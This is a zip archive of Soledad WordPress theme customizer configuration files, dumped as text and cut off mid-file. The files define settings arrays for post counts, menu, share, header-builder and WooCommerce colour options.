	'default'  => '6',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts Display on Style 5', 'soledad' ),
	'id'       => 'penci_home_featured_posts_numbers_5',
	'ids'      => array(
		'desktop' => 'penci_home_featured_posts_numbers_5',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '6',
		),
	),
);
$options[] = array(
	'default'  => '5',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts Display on Style 6', 'soledad' ),
	'id'       => 'penci_home_featured_posts_numbers_6',
	'ids'      => array(
		'desktop' => 'penci_home_featured_posts_numbers_6',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '5',
		),
	),
);
$options[] = array(
	'default'  => '6',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts Display on Style 7', 'soledad' ),
	'id'       => 'penci_home_featured_posts_numbers_7',
	'ids'      => array(
		'desktop' => 'penci_home_featured_posts_numbers_7',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '6',
		),
	),
);
$options[] = array(
	'default'  => '3',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts Display on Style 8', 'soledad' ),
	'id'       => 'penci_home_featured_posts_numbers_8',
	'ids'      => array(
		'desktop' => 'penci_home_featured_posts_numbers_8',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '3',
		),
	),
);
$options[] = array(
	'default'  => '8',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts Display on Style 9', 'soledad' ),
	'id'       => 'penci_home_featured_posts_numbers_9',
	'ids'      => array(
		'desktop' => 'penci_home_featured_posts_numbers_9',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '8',
		),
	),
);
$options[] = array(
	'default'  => '6',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts Display on Style 10', 'soledad' ),
	'id'       => 'penci_home_featured_posts_numbers_10',
	'ids'      => array(
		'desktop' => 'penci_home_featured_posts_numbers_10',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '6',
		),
	),
);
$options[] = array(
	'default'  => '4',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts Display on Style 11', 'soledad' ),
	'id'       => 'penci_home_featured_posts_numbers_11',
	'ids'      => array(
		'desktop' => 'penci_home_featured_posts_numbers_11',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '4',
		),
	),
);
$options[] = array(
	'default'  => '6',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts Display on Style 12', 'soledad' ),
	'id'       => 'penci_home_featured_posts_numbers_12',
	'ids'      => array(
		'desktop' => 'penci_home_featured_posts_numbers_12',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '6',
		),
	),
);
$options[] = array(
	'default'  => '6',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts Display on Style 13', 'soledad' ),
	'id'       => 'penci_home_featured_posts_numbers_13',
	'ids'      => array(
		'desktop' => 'penci_home_featured_posts_numbers_13',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '6',
		),
	),
);
$options[] = array(
	'default'  => '6',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts Display on Style 14', 'soledad' ),
	'id'       => 'penci_home_featured_posts_numbers_14',
	'ids'      => array(
		'desktop' => 'penci_home_featured_posts_numbers_14',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '6',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts Display on Style 15', 'soledad' ),
	'id'       => 'penci_home_featured_posts_numbers_15',
	'ids'      => array(
		'desktop' => 'penci_home_featured_posts_numbers_15',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => '',
		),
	),
);

return $options;
PK     N\Eb    @  inc/customizer/config/sections/penci_menu_hbg_colors_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'General Colors', 'soledad' ),
	'id'       => 'penci_hmhbg_general_color',
	'type'     => 'soledad-fw-header',
);

$options_color_menu_hbg1 = array(
	'penci_mhbg_icon_toggle_color'   => esc_html__( 'Menu Hamburger Icon Color on Horizontal Navigation', 'soledad' ),
	'penci_mhbg_icon_toggle_hcolor'  => esc_html__( 'Menu Hamburger Icon Hover Color on Horizontal Navigation', 'soledad' ),
	'penci_mhbg_mobilebgcl'          => esc_html__( 'Mobile Bars Icon Background Color( for Vertical Navigation )', 'soledad' ),
	'penci_mhbg_mobilecl'            => esc_html__( 'Mobile Bars Icon Color( for Vertical Navigation )', 'soledad' ),
	'penci_mhbg_bgcolor'             => esc_html__( 'Background Color', 'soledad' ),
	'penci_mhbg_textcolor'           => esc_html__( 'General Text Color', 'soledad' ),
	'penci_mhbg_closecolor'          => esc_html__( 'Menu Hamburger Close Icon Color', 'soledad' ),
	'penci_mhbg_closehover'          => esc_html__( 'Menu Hamburger Close Icon Hover Color', 'soledad' ),
	'penci_mhbg_bordercolor'         => esc_html__( 'General Border Color', 'soledad' ),
	'penci_mhbgtitle_color'          => esc_html__( 'Site Title Color', 'soledad' ),
	'penci_mhbgdesc_hcolor'          => esc_html__( 'Site Description Color', 'soledad' ),
	'penci_mhbg_search_border'       => esc_html__( 'Custom Border Colors for Search Box', 'soledad' ),
	'penci_mhbg_search_border_hover' => esc_html__( 'Custom Border Colors for Search Box on Focus', 'soledad' ),
	'penci_mhbg_search_color'        => esc_html__( 'Custom Text Colors for Search Box', 'soledad' ),
	'penci_mhbg_search_icon'         => esc_html__( 'Custom Colors for Search Icon', 'soledad' ),
	'penci_mhbgaccent_color'         => esc_html__( 'Accent Color', 'soledad' ),
	'penci_mhbgaccent_hover_color'   => esc_html__( 'Accent Hover Color', 'soledad' ),
	'penci_mhbgfooter_color'         => esc_html__( 'Footer Text Color', 'soledad' ),
	'penci_mhbgicon_color'           => esc_html__( 'Social Icons Color', 'soledad' ),
	'penci_mhbgicon_hover_color'     => esc_html__( 'Social Icons Hover Color', 'soledad' ),
	'penci_mhbgicon_border'          => esc_html__( 'Social Icons Border Color', 'soledad' ),
	'penci_mhbgicon_border_hover'    => esc_html__( 'Social Icons Border Hover Color', 'soledad' ),
	'penci_mhbgicon_bg'              => esc_html__( 'Social Icons Background Color', 'soledad' ),
	'penci_mhbgicon_bg_hover'        => esc_html__( 'Social Icons Background Hover Color', 'soledad' ),
);

foreach ( $options_color_menu_hbg1 as $key => $label ) {
	$options[] = array(
		'sanitize' => 'sanitize_hex_color',
		'type'     => 'soledad-fw-color',
		'label'    => $label,
		'id'       => $key,
	);
}

$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Widgets Colors', 'soledad' ),
	'id'       => 'penci_hmhbg_widgets_color',
	'type'     => 'soledad-fw-header',
);

$options_color_menu_hbg2 = array(
	'penci_mhwidget_heading_bg'           => esc_html__( 'Widget Heading Background Color', 'soledad' ),
	'penci_mhwidget_heading_outer_bg'     => esc_html__( 'Widget Heading Background Outer Color', 'soledad' ),
	'penci_mhwidget_heading_bcolor'       => esc_html__( 'Sidebar Widget Heading Border Color', 'soledad' ),
	'penci_mhwidget_heading_binner_color' => esc_html__( 'Widget Heading Border Outer Color', 'soledad' ),
	'penci_mhwidget_heading_bcolor5'      => esc_html__( 'Custom Color for Border Bottom on Widget Heading Style 5', 'soledad' ),
	'penci_mhwidget_heading_bcolor7'      => esc_html__( 'Custom Color for Small Border Bottom on Widget Heading Style 7 & Style 8', 'soledad' ),
	'penci_mhwidget_bordertop_color10'    => esc_html__( 'Custom Color for Border Top on Widget Heading Style 10', 'soledad' ),
	'penci_mhwidget_shapes_color'         => esc_html__( 'Custom Shapes Background Color on Widget Heading Styles 11, 12, 13', 'soledad' ),
	'penci_mhwidget_bgstyle15'            => esc_html__( 'Background Color for Icon on Style 15', 'soledad' ),
	'penci_mhwidget_iconstyle15'          => esc_html__( 'Icon Color on Style 15', 'soledad' ),
	'penci_mhwidget_cllines'              => esc_html__( 'Color for Lines on Styles 18, 19, 20', 'soledad' ),
	'penci_mhwidget_heading_color'        => esc_html__( 'Widget Heading Text Color', 'soledad' ),
);

foreach ( $options_color_menu_hbg2 as $key => $label ) {
	$options[] = array(
		'sanitize' => 'sanitize_hex_color',
		'type'     => 'soledad-fw-color',
		'label'    => $label,
		'id'       => $key,
	);
}

return $options;
PK     N\4V	  	  E  inc/customizer/config/sections/penci_section_select_share_section.phpnu [        <?php
$options = [];

$options[] = array(
    'id'       => 'penci_textshare_header_01',
    'label'    => __('General Settings', 'soledad'),
    'type'     => 'soledad-fw-header',
);

$options[] = array(
    'id'       => 'penci_textshare_enable',
    'default'  => false,
    'sanitize' => 'penci_sanitize_checkbox_field',
    'label'    => __('Enable Share Selection Text  ', 'soledad'),
    'type'     => 'soledad-fw-toggle',
);

$options[] = array(
    'id'       => 'penci_textshare_services',
    'default'  => 'facebook,twitter',
    'sanitize' => 'penci_sanitize_checkbox_field',
    'label'    => __('Enable Share Services  ', 'soledad'),
    'type'     => 'soledad-fw-multi-check',
    'choices' => [
        'facebook' => ['name'=>__('Facebook', 'soledad'),'value'=>'facebook'],
        'twitter' => ['name'=>__('Twitter', 'soledad'),'value'=>'facebook'],
        'likedin' => ['name'=>__('LikedIn', 'soledad'),'value'=>'likedin'],
        'whatsapp' => ['name'=>__('Whatsapp', 'soledad'),'value'=>'whatsapp'],
        'telegram' => ['name'=>__('Telegram', 'soledad'),'value'=>'telegram'],
        'copy'     => ['name'=>__('Copy Button', 'soledad'),'value'=>'copy'],
    ],
);

$options[] = array(
    'label'       => esc_attr__( 'Facebook App ID', 'soledad' ),
    'id'          => 'penci_fbappid',
    'type'        => 'soledad-fw-text',
    'default'     => '',
    'sanitize'    => 'sanitize_text_field',
    'description' => __( 'When you use "Facebook" share text, it required an Facebook APP ID to make it works. You can <a target="_blank" href="https://developers.facebook.com/apps">get it here</a>.', 'soledad' ),
);

$options[] = array(
    'id'       => 'penci_textshare_header_02',
    'label'    => __('Colors', 'soledad'),
    'type'     => 'soledad-fw-header',
);

$options[] = array(
    'id'       => 'penci_textshare_bgcolor',
    'label'    => __('Popup Background Color', 'soledad'),
    'type'     => 'soledad-fw-color',
);

$options[] = array(
    'id'       => 'penci_textshare_txtcolor',
    'label'    => __('Popup Text Color', 'soledad'),
    'type'     => 'soledad-fw-color',
);

$options[] = array(
    'id'       => 'penci_textshare_selection_bgcolor',
    'label'    => __('Selection Text Background Color', 'soledad'),
    'type'     => 'soledad-fw-color',
);

$options[] = array(
    'id'       => 'penci_textshare_selection_txtcolor',
    'label'    => __('Selection Text Color', 'soledad'),
    'type'     => 'soledad-fw-color',
);


return $options;
PK     N\}9G    @  inc/customizer/config/sections/penci_builder_general_section.phpnu [        <?php

$header_options     = [];
$header_options[''] = __( '- Select -', 'soledad' );
$header_layouts     = get_posts( [
	'post_type'      => 'penci_builder',
	'posts_per_page' => - 1,
] );
foreach ( $header_layouts as $header_builder ) {
	$header_options[ $header_builder->post_name ] = $header_builder->post_title;
}

$header_block_options     = [];
$header_block_options[''] = __( '- Select -', 'soledad' );
$builder_layouts          = get_posts( [
	'post_type'      => 'penci-block',
	'posts_per_page' => - 1,
] );
foreach ( $builder_layouts as $builder_builder ) {
	$header_block_options[ $builder_builder->post_name ] = $builder_builder->post_title;
}

$options = [];

$options[] = array(
	'id'      => 'pchdbd_df_title',
	'default' => '',
	'type'    => 'soledad-fw-header',
	'label'   => esc_html__( 'Soledad Header Builder', 'soledad' ),
);
$options[] = array(
	'id'       => 'pchdbd_all',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'General Header Builder for All Pages', 'soledad' ),
	'choices'  => $header_options,
);

$options[] = array(
	'id'       => 'pchdbd_homepage',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Header Builder for Homepage', 'soledad' ),
	'choices'  => $header_options,
);

$options[] = array(
	'id'       => 'pchdbd_archive',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Header Builder for Category,Tag, Search, Archive Pages', 'soledad' ),
	'choices'  => $header_options,
);

$options[] = array(
	'id'       => 'pchdbd_post',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Header Builder for Single Post Pages', 'soledad' ),
	'choices'  => $header_options,
);

$options[] = array(
	'id'       => 'pchdbd_page',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Header Builder for Pages', 'soledad' ),
	'choices'  => $header_options,
);
if ( class_exists( 'WooCommerce' ) ) {
	$options[] = array(
		'id'       => 'pchdbd_woocommerce',
		'default'  => '',
		'sanitize' => 'penci_sanitize_choices_field',
		'type'     => 'soledad-fw-select',
		'label'    => esc_html__( 'Header Builder for WooCommerce', 'soledad' ),
		'choices'  => $header_options,
	);
}
$options[] = array(
	'id'      => 'pchdbd_el_title',
	'default' => '',
	'type'    => 'soledad-fw-header',
	'label'   => esc_html__( 'Penci Block Header Builder', 'soledad' ),
	'description'   => esc_html__( 'The options below will overwrite all the header layouts you have selected above.', 'soledad' ),
);
$options[] = array(
	'id'       => 'pchdbd_block_all',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'General Header Builder for All Pages', 'soledad' ),
	'choices'  => $header_block_options,
);

$options[] = array(
	'id'       => 'pchdbd_block_homepage',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Header Builder for Homepage', 'soledad' ),
	'choices'  => $header_block_options,
);

$options[] = array(
	'id'       => 'pchdbd_block_archive',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Header Builder for Category,Tag, Search, Archive Pages', 'soledad' ),
	'choices'  => $header_block_options,
);

$options[] = array(
	'id'       => 'pchdbd_block_post',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Header Builder for Single Post Pages', 'soledad' ),
	'choices'  => $header_block_options,
);

$options[] = array(
	'id'       => 'pchdbd_block_page',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Header Builder for Pages', 'soledad' ),
	'choices'  => $header_block_options,
);
if ( class_exists( 'WooCommerce' ) ) {
	$options[] = array(
		'id'       => 'pchdbd_block_woocommerce',
		'default'  => '',
		'sanitize' => 'penci_sanitize_choices_field',
		'type'     => 'soledad-fw-select',
		'label'    => esc_html__( 'Header Builder for WooCommerce', 'soledad' ),
		'choices'  => $header_block_options,
	);
}

return $options;
PK     N\Qx  x  J  inc/customizer/config/sections/pencidesign_woo_colors_settings_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Side Cart Style', 'soledad' ),
	'id'       => 'penci_woo_section_sidebarcart_color',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'       => 'penci_woo_sidecart_bg_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_sidecart_heading_bg_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Heading Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_sidecart_heading_txt_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Heading Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_sidecart_product_title_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Title Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_sidecart_product_title_hover_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Title Hover Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_sidecart_border_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Border Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_sidecart_price_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Price Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_sidecart_pitem_bg_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_sidecart_pitem_bg_hover_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Hover Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_sidecart_pitem_bg_text_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Hover Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_sidecart_accent_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Accent Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_sidecart_heading_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Heading Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_sidecart_btn_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Button Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_sidecart_btn_text_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Button Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_sidecart_btn_hover_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Button Background Hover Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_sidecart_btn_text_hover_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Button Text Hover Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_sidecart_footer_bgcolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Footer Background Color', 'soledad' ),
);
/* Product Item*/
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Product Item Style', 'soledad' ),
	'id'       => 'penci_woo_section_product_color_loop',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Title', 'soledad' ),
	'id'       => 'penci_woo_product_loop_title_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Price Color', 'soledad' ),
	'id'       => 'penci_woo_product_loop_price_color',
);
$options[] = array(
	'id'       => 'penci_woo_product_loop_cat_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Cat Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_loop_cat_hover_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Cat Hover Color', 'soledad' ),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Button Group Background Color', 'soledad' ),
	'id'       => 'penci_woo_product_loop_button_groups_bgcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Button Color', 'soledad' ),
	'id'       => 'penci_woo_product_loop_button_color',
);
$options[] = array(
	'id'       => 'penci_woo_product_loop_button_hover_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Button Hover Color', 'soledad' ),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Button Background Color', 'soledad' ),
	'id'       => 'penci_woo_product_loop_button_bg_color',
);
$options[] = array(
	'id'       => 'penci_woo_product_loop_button_bg_hover_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Button Background Hover Color', 'soledad' ),
);
$options[] = array(
	'id'          => 'penci_woo_product_overlay_bg_color',
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color',
	'label'       => __( 'Product Item Overlay Background Color', 'soledad' ),
	'description' => __( 'Apply to Product Item style 5 & style 7', 'soledad' ),
);
$options[] = array(
	'default'     => '0.5',
	'sanitize'    => 'absint',
	'label'       => __( 'Product Item Overlay Opacity', 'soledad' ),
	'description' => __( 'Apply to Product Item style 5 & style 7', 'soledad' ),
	'id'          => 'penci_woo_product_overlay_bg_opacity',
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_woo_product_overlay_bg_opacity',
	),
	'choices'     => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '0.5',
		),
	),
);
$options[] = array(
	'id'          => 'penci_woo_product_overlay_title_color',
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color',
	'label'       => __( 'Product Item Overlay Title Color', 'soledad' ),
	'description' => __( 'Apply to Product Item style 5 & style 7', 'soledad' ),
);
$options[] = array(
	'id'          => 'penci_woo_product_overlay_link_color',
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color',
	'label'       => __( 'Product Item Overlay Link Color', 'soledad' ),
	'description' => __( 'Apply to Product Item style 5 & style 7', 'soledad' ),
);
$options[] = array(
	'id'          => 'penci_woo_product_overlay_link_hover_color',
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color',
	'label'       => __( 'Product Item Overlay Link Hover Color', 'soledad' ),
	'description' => __( 'Apply to Product Item style 5 & style 7', 'soledad' ),
);
$options[] = array(
	'id'          => 'penci_woo_product_overlay_button_color',
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color',
	'label'       => __( 'Product Item Overlay Button Color', 'soledad' ),
	'description' => __( 'Apply to Product Item style 5 & style 7', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style6_bg',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 6 Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style6_text_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 6 Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style6_title_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 6 Title Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style6_link_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 6 Link Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style6_link_hover_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 6 Link Hover Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style6_price_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 6 Price Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style3_atc_bg_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 3 Add To Cart Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style3_atc_bg_hover_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 3 Add To Cart Hover Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style3_atc_text_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 3 Add To Cart Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style3_atc_text_hover_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 3 Add To Cart Hover Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style5_atc_text_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 5 Add To Cart Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style5_atc_hv_text_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 5 Add To Cart Hover Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style5_atc_border_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 5 Add To Cart Border Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style5_atc_hv_border_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 5 Add To Cart Hover Border Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style5_atc_bg_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 5 Add To Cart Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style5_atc_hv_bg_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 5 Add To Cart Hover Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style4_atc_txt_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 4 Add To Cart Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style4_atc_hv_txt_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 4 Add To Cart Hover Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style4_atc_bg_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Product Item Style 4 Add To Cart Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_woo_product_item_style4_atc_hv_bg_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
